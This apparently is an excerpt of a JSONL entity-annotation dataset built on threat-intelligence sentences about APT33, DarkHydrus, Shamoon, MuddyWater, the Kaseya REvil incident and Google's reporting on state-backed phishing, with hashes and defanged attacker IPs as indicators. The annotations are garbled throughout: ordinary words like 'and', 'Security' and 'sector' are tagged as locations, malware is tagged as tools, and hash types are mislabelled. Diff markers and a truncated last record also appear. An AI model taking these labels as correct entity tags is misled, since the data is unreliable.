https:\/\/attack.mitre.org\/groups\/G0064\/","entities":[],"relations":[],"Comments":[]} -{"id":6625,"text":" APT33 is a threat group thought to have strong interest in the aeronautics and energy sectors.","entities":[{"id":20561,"label":"location","start_offset":41,"end_offset":47},{"id":20562,"label":"location","start_offset":76,"end_offset":79},{"id":20563,"label":"location","start_offset":80,"end_offset":86}],"relations":[],"Comments":[]} {"id":6626,"text":"They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate.","entities":[{"id":20564,"label":"location","start_offset":9,"end_offset":14},{"id":20565,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20566,"label":"attack-pattern","start_offset":46,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6627,"text":"They are known to use custom tools in conjunction with well-known publicly available backdoors that are sold in various hacking forums.","entities":[{"id":20567,"label":"location","start_offset":5,"end_offset":8},{"id":20568,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} {"id":6628,"text":"A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins.","entities":[{"id":20569,"label":"threat-actor","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]} -{"id":6629,"text":"This activity exemplified how this adversary group and other related groups will attack organizations outside of their mission objective to augment their own capabilities to complete their task.","entities":[{"id":20570,"label":"location","start_offset":51,"end_offset":54},{"id":20571,"label":"location","start_offset":76,"end_offset":80},{"id":20572,"label":"location","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]} {"id":6630,"text":" https:\/\/www.fireeye.com\/blog\/threat-research\/2017\/09\/apt33-insights-into-iranian-cyber-espionage.html https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting\/","entities":[{"id":20573,"label":"URL","start_offset":1,"end_offset":102},{"id":20574,"label":"URL","start_offset":104,"end_offset":241}],"relations":[],"Comments":[]} {"id":6631,"text":" https:\/\/attack.mitre.org\/groups\/G0079\/","entities":[{"id":20575,"label":"URL","start_offset":1,"end_offset":39}],"relations":[],"Comments":[]} {"id":6632,"text":" The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns.","entities":[{"id":20576,"label":"threat-actor","start_offset":5,"end_offset":15},{"id":20577,"label":"location","start_offset":62,"end_offset":65},{"id":20578,"label":"location","start_offset":96,"end_offset":101},{"id":20579,"label":"attack-pattern","start_offset":102,"end_offset":110},{"id":20580,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} @@ -3714,321 +5053,130 @@ {"id":6634,"text":"DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery.","entities":[],"relations":[],"Comments":[]} {"id":6635,"text":"They have also been observed using Google Drive for their C2 channel.","entities":[],"relations":[],"Comments":[]} {"id":6636,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government\/ https:\/\/unit42.paloaltonetworks.com\/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east\/ https:\/\/unit42.paloaltonetworks.com\/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications\/","entities":[],"relations":[],"Comments":[]} -{"id":6637,"text":"The original Shamoon attack was launched in 2012 and targeted two specific organizations in the energy sector with the goal of rendering their respective computer systems inoperable by wiping their disks.","entities":[{"id":20592,"label":"location","start_offset":49,"end_offset":52},{"id":20594,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]} -{"id":6638,"text":"The attack package included a commercially available driver to execute the wiping tasks and also included a worming component which allowed the package to spread within a target organization in an automated manner.","entities":[{"id":20595,"label":"location","start_offset":53,"end_offset":59},{"id":20596,"label":"location","start_offset":88,"end_offset":91},{"id":20597,"label":"location","start_offset":171,"end_offset":177}],"relations":[],"Comments":[]} -{"id":6639,"text":"The 2012 incident was one of the first large scale targeted destructive attacks that had been publicly shared.","entities":[{"id":20599,"label":"location","start_offset":22,"end_offset":25},{"id":20600,"label":"location","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]} {"id":6640,"text":"Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018.","entities":[],"relations":[],"Comments":[]} -{"id":6641,"text":"In each instance, the primary capabilities and functionality remained largely the same.","entities":[{"id":20606,"label":"location","start_offset":43,"end_offset":46},{"id":20607,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} {"id":6642,"text":" https:\/\/securelist.com\/shamoon-the-wiper-copycats-at-work\/57854\/","entities":[{"id":20608,"label":"URL","start_offset":1,"end_offset":65}],"relations":[],"Comments":[]} {"id":6643,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-shamoon-2-return-disttrack-wiper\/","entities":[],"relations":[],"Comments":[]} {"id":6644,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-second-wave-shamoon-2-attacks-identified\/ https:\/\/unit42.paloaltonetworks.com\/unit42-shamoon-2-delivering-disttrack\/ https:\/\/unit42.paloaltonetworks.com\/shamoon-3-targets-oil-gas-organization\/ https:\/\/unit42.paloaltonetworks.com\/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran\/ ","entities":[{"id":20610,"label":"URL","start_offset":1,"end_offset":85},{"id":20612,"label":"URL","start_offset":163,"end_offset":238}],"relations":[],"Comments":[]} {"id":6645,"text":"MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity.","entities":[{"id":20614,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":20616,"label":"location","start_offset":43,"end_offset":46},{"id":20618,"label":"attack-pattern","start_offset":179,"end_offset":185},{"id":20619,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]} -{"id":6646,"text":"Additional investigation revealed no other similarities in either tools or tactics, thus concluding that the MuddyWater activity was likely operated by a separate actor.","entities":[{"id":20621,"label":"location","start_offset":133,"end_offset":139}],"relations":[],"Comments":[]} {"id":6647,"text":"This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server.","entities":[{"id":20622,"label":"location","start_offset":26,"end_offset":31},{"id":20623,"label":"attack-pattern","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]} -{"id":6648,"text":"These C2 servers were observed to be either third party file hosting sites or code sharing repositories such as GitHub.","entities":[{"id":20628,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]} {"id":6649,"text":"A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc. https:\/\/unit42.paloaltonetworks.com\/unit42-muddying-the-water-targeted-attacks-in-the-middle-east\/ https:\/\/securelist.com\/muddywater\/88059\/ https:\/\/www.clearskysec.com\/muddywater2\/ https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools\/ ","entities":[],"relations":[],"Comments":[]} {"id":6650,"text":"Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting.","entities":[{"id":20638,"label":"location","start_offset":32,"end_offset":35},{"id":20640,"label":"location","start_offset":102,"end_offset":105},{"id":20641,"label":"location","start_offset":162,"end_offset":165},{"id":20642,"label":"location","start_offset":228,"end_offset":233},{"id":20643,"label":"attack-pattern","start_offset":234,"end_offset":242},{"id":20644,"label":"location","start_offset":243,"end_offset":246}],"relations":[],"Comments":[]} -{"id":6651,"text":"This activity has been persistent for the last decade, and it should be expected to continue or increase with recent geopolitical events.","entities":[{"id":20646,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6652,"text":"However, across all of these groups as well as others that were not highlighted, another consistent theme has been the abuse of poorly implemented IT and security policies.","entities":[{"id":20647,"label":"location","start_offset":150,"end_offset":153},{"id":20648,"label":"location","start_offset":154,"end_offset":162}],"relations":[],"Comments":[]} -{"id":6653,"text":"Enabling Multi-Factor Authentication (MFA) throughout an organization, properly segmenting networks, limited macro-enabled documents, and disallowing network activity to unknown domains are examples of relatively simple policies that could have assisted in the neutralization of these adversary groups’ malicious actions.","entities":[{"id":20649,"label":"location","start_offset":134,"end_offset":137},{"id":20650,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]} -{"id":6654,"text":" Unit 42 has consolidated the IOCs of the referenced groups in this report and stored them in our GitHub repository.","entities":[{"id":20652,"label":"location","start_offset":75,"end_offset":78},{"id":20653,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]} -{"id":6655,"text":"This dataset should not be considered comprehensive of all potential Iran-linked cyber operations, and may be subject to change without notice.","entities":[{"id":20656,"label":"location","start_offset":99,"end_offset":102},{"id":20657,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} {"id":6656,"text":"Link to IOCs on GitHub ","entities":[],"relations":[],"Comments":[]} -{"id":6657,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us","entities":[{"id":20658,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} -{"id":6658,"text":" Please enter your email address!","entities":[{"id":20659,"label":"location","start_offset":8,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6659,"text":" Please mark, I'm not a robot!","entities":[{"id":20660,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6660,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":20661,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":6661,"text":"This post is also available in: 日本語 (Japanese) Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously. ","entities":[{"id":20662,"label":"location","start_offset":5,"end_offset":9},{"id":20664,"label":"identity","start_offset":53,"end_offset":71},{"id":20665,"label":"identity","start_offset":72,"end_offset":79},{"id":20666,"label":"identity","start_offset":109,"end_offset":113},{"id":20668,"label":"tools","start_offset":191,"end_offset":198},{"id":20669,"label":"malware","start_offset":225,"end_offset":232},{"id":20672,"label":"tools","start_offset":364,"end_offset":371}],"relations":[],"Comments":[]} {"id":6662,"text":"Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.","entities":[{"id":20673,"label":"tools","start_offset":17,"end_offset":24},{"id":20675,"label":"tools","start_offset":56,"end_offset":63},{"id":20677,"label":"tools","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6663,"text":"Disttrack is optimized to destroy systems by targeting their hard drives and to spread as widely as possible throughout a network it’s infiltrated.","entities":[{"id":20679,"label":"location","start_offset":61,"end_offset":65},{"id":20680,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":6664,"text":"And once again, the Disttrack malware was configured to operate without any command and control (C2) servers, essentially optimized for a one-way mission of data destruction.","entities":[{"id":20681,"label":"location","start_offset":0,"end_offset":3},{"id":20683,"label":"location","start_offset":84,"end_offset":87},{"id":20685,"label":"location","start_offset":142,"end_offset":145},{"id":20686,"label":"location","start_offset":146,"end_offset":153}],"relations":[],"Comments":[]} {"id":6665,"text":" But this second wave of Shamoon 2 attacks show evidence of potential new tactic.","entities":[],"relations":[],"Comments":[]} -{"id":6666,"text":"Unit 42 analysis shows that the latest sample contains credentials for virtual desktop infrastructure (VDI) solutions, such as Huawei’s FusionCloud.","entities":[{"id":20690,"label":"location","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]} {"id":6667,"text":"VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.","entities":[{"id":20693,"label":"location","start_offset":14,"end_offset":17},{"id":20694,"label":"location","start_offset":26,"end_offset":36},{"id":20696,"label":"location","start_offset":105,"end_offset":109},{"id":20697,"label":"malware","start_offset":155,"end_offset":160}],"relations":[],"Comments":[]} -{"id":6668,"text":"The presence of these credentials in the sample may suggest that attackers intended to increase the impact of their attack by not only wiping systems but also carrying out destructive activities against the VDI deployment, as well as any snapshots.","entities":[{"id":20698,"label":"location","start_offset":41,"end_offset":47},{"id":20699,"label":"location","start_offset":48,"end_offset":51},{"id":20700,"label":"location","start_offset":100,"end_offset":106},{"id":20701,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]} -{"id":6669,"text":" In essence, a manual destructive attack against the VDI deployment and snapshots coupled with the destructive attack by the malware could destroy an organizations’ systems and primary line of backup against such an attack.","entities":[{"id":20702,"label":"location","start_offset":68,"end_offset":71},{"id":20703,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} -{"id":6670,"text":" The possible targeting of VDI solutions with legitimate credentials (either stolen or default) represents an escalation in tactics not only in this specific attack but other future attacks.","entities":[{"id":20704,"label":"location","start_offset":136,"end_offset":140}],"relations":[],"Comments":[]} -{"id":6671,"text":"Security teams and administrators should be aware of and take immediate steps to evaluate this development and consider adding additional safeguards to protect credentials related to their VDI deployment.","entities":[{"id":20705,"label":"location","start_offset":0,"end_offset":8},{"id":20706,"label":"location","start_offset":15,"end_offset":18},{"id":20707,"label":"location","start_offset":53,"end_offset":56},{"id":20708,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6672,"text":" Full technical details including associated indicators of compromise (IOCs) that can be used for more detailed analysis and protection, can be found the full report. Palo Alto Networks customers are protected from the Disttrack payload used in this attack: AutoFocus customers can monitor Disttrack activity using the Disttrack tag Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":20709,"label":"location","start_offset":82,"end_offset":85},{"id":20710,"label":"location","start_offset":121,"end_offset":124},{"id":20711,"label":"location","start_offset":125,"end_offset":135},{"id":20712,"label":"location","start_offset":137,"end_offset":140},{"id":20714,"label":"location","start_offset":197,"end_offset":200},{"id":20717,"label":"location","start_offset":280,"end_offset":283},{"id":20718,"label":"location","start_offset":284,"end_offset":291},{"id":20721,"label":"location","start_offset":398,"end_offset":401},{"id":20722,"label":"location","start_offset":427,"end_offset":432}],"relations":[],"Comments":[]} -{"id":6673,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":20723,"label":"location","start_offset":8,"end_offset":12},{"id":20724,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} -{"id":6674,"text":"This post is also available in: 日本語 (Japanese) ","entities":[{"id":20725,"label":"location","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]} -{"id":6675,"text":"On July 2, attackers reportedly launched attacks against users of the Kaseya VSA remote monitoring and management software as well as customers of multiple managed service providers (MSPs) that use the software.","entities":[{"id":20730,"label":"location","start_offset":81,"end_offset":87},{"id":20731,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]} {"id":6676,"text":"They used access to the VSA software to deploy ransomware associated with the REvil\/Sodinokibi ransomware-as-a-service group, according to reports.","entities":[{"id":20733,"label":"malware","start_offset":78,"end_offset":83},{"id":20734,"label":"threat-actor","start_offset":84,"end_offset":94}],"relations":[],"Comments":[]} -{"id":6677,"text":"Kaseya has stated that the attack was conducted by exploiting a vulnerability in its software, and said they are working on a patch.","entities":[{"id":20736,"label":"location","start_offset":95,"end_offset":98},{"id":20737,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]} {"id":6678,"text":"The company has not released further information on the vulnerability.","entities":[],"relations":[],"Comments":[]} {"id":6679,"text":"Kaseya recommends that any organization using VSA shut the system down immediately.","entities":[],"relations":[],"Comments":[]} {"id":6680,"text":"CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.","entities":[],"relations":[],"Comments":[]} {"id":6681,"text":" The full extent of the attack is currently unknown.","entities":[],"relations":[],"Comments":[]} -{"id":6682,"text":"Kaseya states that fewer than 40 of its customers are impacted.","entities":[{"id":20743,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":6683,"text":"If those customers include MSPs, many more organizations could have been attacked with the ransomware.","entities":[{"id":20744,"label":"location","start_offset":33,"end_offset":37}],"relations":[],"Comments":[]} -{"id":6684,"text":"Kaseya VSA’s functionality allows administrators to remotely manage systems.","entities":[{"id":20746,"label":"location","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]} {"id":6685,"text":"If an MSP’s VSA system was compromised, that could allow an attacker to deploy malware into multiple networks managed by that MSP.","entities":[],"relations":[],"Comments":[]} -{"id":6686,"text":" There has been much speculation about the nature of this attack on social media and other forums.","entities":[{"id":20747,"label":"location","start_offset":17,"end_offset":21},{"id":20748,"label":"location","start_offset":76,"end_offset":81},{"id":20749,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} {"id":6687,"text":"We have not been able to independently determine how these attacks were conducted.","entities":[],"relations":[],"Comments":[]} {"id":6688,"text":" Multiple sources have stated that the following three files were used to install and execute the ransomware attack on Windows systems: agent.exe | d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e mpsvc.dll | e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 mpsvc.dll | 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd Palo Alto Networks WildFire, Threat Prevention and Cortex XDR detect and prevent REvil ransomware infections.","entities":[{"id":20751,"label":"location","start_offset":83,"end_offset":86},{"id":20752,"label":"SHA1","start_offset":151,"end_offset":215},{"id":20753,"label":"SHA2","start_offset":228,"end_offset":292},{"id":20754,"label":"SHA1","start_offset":306,"end_offset":370},{"id":20755,"label":"identity","start_offset":372,"end_offset":390},{"id":20756,"label":"malware","start_offset":391,"end_offset":399},{"id":20757,"label":"location","start_offset":419,"end_offset":422},{"id":20758,"label":"tools","start_offset":423,"end_offset":433},{"id":20759,"label":"location","start_offset":441,"end_offset":444},{"id":20760,"label":"tools","start_offset":453,"end_offset":458}],"relations":[],"Comments":[]} {"id":6689,"text":" As more information becomes available on the nature of this attack, we will update this brief to provide additional details. d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 Source: Incident Overview and Technical Details, Kaseya 35.226.94[.]113 161.35.239[.]148 162.253.124[.]162 POST \/dl.asp curl\/7.69.1 GET \/done.asp curl\/7.69.1 POST \/cgi-bin\/KUpload.dll curl\/7.69.1 GET \/done.asp curl\/7.69.1 POST \/cgi-bin\/KUpload.dll curl\/7.69.1 POST \/userFilterTableRpt.asp curl\/7.69.1 Understanding REvil: The Ransomware Gang Behind the Kaseya Attack Threat Assessment: GandCrab and REvil Ransomware 2021 Unit 42 Ransomware Threat Report Breaking Down Ransomware Attacks Ransomware’s New Trend: Exfiltration and Extortion Updated July 6, 2021, at 3:06 p.m. PT. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":20761,"label":"location","start_offset":72,"end_offset":76},{"id":20762,"label":"SHA1","start_offset":128,"end_offset":192},{"id":20763,"label":"SHA2","start_offset":193,"end_offset":257},{"id":20764,"label":"MD5","start_offset":258,"end_offset":322},{"id":20765,"label":"attack-pattern","start_offset":324,"end_offset":330},{"id":20766,"label":"location","start_offset":350,"end_offset":353},{"id":20767,"label":"IPV4","start_offset":381,"end_offset":396},{"id":20768,"label":"IPV4","start_offset":397,"end_offset":413},{"id":20769,"label":"IPV4","start_offset":414,"end_offset":431},{"id":20770,"label":"location","start_offset":433,"end_offset":437},{"id":20771,"label":"location","start_offset":484,"end_offset":488},{"id":20772,"label":"location","start_offset":548,"end_offset":552},{"id":20773,"label":"location","start_offset":586,"end_offset":590},{"id":20774,"label":"tools","start_offset":642,"end_offset":647},{"id":20776,"label":"malware","start_offset":714,"end_offset":722},{"id":20777,"label":"location","start_offset":723,"end_offset":726},{"id":20778,"label":"threat-actor","start_offset":727,"end_offset":732},{"id":20780,"label":"identity","start_offset":750,"end_offset":757},{"id":20781,"label":"location","start_offset":855,"end_offset":858},{"id":20783,"label":"location","start_offset":886,"end_offset":890},{"id":20784,"label":"TIME","start_offset":895,"end_offset":907},{"id":20785,"label":"location","start_offset":972,"end_offset":975},{"id":20786,"label":"location","start_offset":1001,"end_offset":1006}],"relations":[],"Comments":[]} -{"id":6690,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":20787,"label":"location","start_offset":8,"end_offset":12},{"id":20788,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} {"id":6691,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]} {"id":6692,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":20794,"label":"location","start_offset":21,"end_offset":24},{"id":20795,"label":"location","start_offset":25,"end_offset":33},{"id":20796,"label":"location","start_offset":68,"end_offset":71},{"id":20797,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":20799,"label":"location","start_offset":138,"end_offset":141},{"id":20801,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} {"id":6693,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":20803,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":20804,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} {"id":6694,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]} {"id":6695,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]} -{"id":6696,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":20808,"label":"location","start_offset":23,"end_offset":29},{"id":20809,"label":"location","start_offset":71,"end_offset":84},{"id":20810,"label":"location","start_offset":90,"end_offset":95},{"id":20811,"label":"location","start_offset":97,"end_offset":100},{"id":20812,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]} -{"id":6697,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":20813,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6698,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":20815,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} {"id":6699,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":20818,"label":"location","start_offset":0,"end_offset":3},{"id":20819,"label":"location","start_offset":80,"end_offset":83},{"id":20820,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":20821,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":6700,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":20823,"label":"location","start_offset":46,"end_offset":50},{"id":20824,"label":"location","start_offset":61,"end_offset":66},{"id":20825,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]} -{"id":6701,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":20828,"label":"location","start_offset":87,"end_offset":90},{"id":20835,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]} -{"id":6702,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":20838,"label":"location","start_offset":144,"end_offset":147},{"id":20839,"label":"location","start_offset":186,"end_offset":190},{"id":20840,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]} -{"id":6703,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":20842,"label":"location","start_offset":4,"end_offset":9},{"id":20843,"label":"location","start_offset":78,"end_offset":82},{"id":20845,"label":"location","start_offset":120,"end_offset":123},{"id":20846,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]} {"id":6704,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":20847,"label":"location","start_offset":66,"end_offset":76},{"id":20848,"label":"location","start_offset":109,"end_offset":117},{"id":20849,"label":"location","start_offset":123,"end_offset":126},{"id":20850,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":20851,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]} {"id":6705,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]} -{"id":6706,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":20852,"label":"location","start_offset":101,"end_offset":104},{"id":20853,"label":"location","start_offset":176,"end_offset":179},{"id":20854,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]} {"id":6707,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":20855,"label":"location","start_offset":13,"end_offset":16},{"id":20856,"label":"location","start_offset":47,"end_offset":55},{"id":20858,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":20859,"label":"location","start_offset":106,"end_offset":109},{"id":20860,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":20861,"label":"location","start_offset":203,"end_offset":206},{"id":20862,"label":"location","start_offset":242,"end_offset":245},{"id":20863,"label":"malware","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]} -{"id":6708,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":20864,"label":"location","start_offset":57,"end_offset":60},{"id":20865,"label":"location","start_offset":74,"end_offset":82},{"id":20866,"label":"location","start_offset":93,"end_offset":96},{"id":20868,"label":"location","start_offset":128,"end_offset":136},{"id":20869,"label":"location","start_offset":137,"end_offset":142},{"id":20870,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]} -{"id":6709,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":20872,"label":"location","start_offset":145,"end_offset":152},{"id":20873,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]} -{"id":6710,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":20874,"label":"location","start_offset":57,"end_offset":61},{"id":20875,"label":"location","start_offset":70,"end_offset":73},{"id":20876,"label":"location","start_offset":84,"end_offset":92},{"id":20877,"label":"location","start_offset":105,"end_offset":108},{"id":20878,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]} -{"id":6711,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":20879,"label":"location","start_offset":66,"end_offset":69},{"id":20881,"label":"location","start_offset":113,"end_offset":116},{"id":20883,"label":"location","start_offset":283,"end_offset":286},{"id":20884,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]} -{"id":6712,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":20887,"label":"location","start_offset":76,"end_offset":79},{"id":20889,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":6713,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":20894,"label":"location","start_offset":97,"end_offset":102},{"id":20895,"label":"location","start_offset":103,"end_offset":111},{"id":20896,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6714,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":20897,"label":"location","start_offset":59,"end_offset":66},{"id":20898,"label":"location","start_offset":74,"end_offset":79},{"id":20900,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]} -{"id":6715,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":20903,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6716,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the 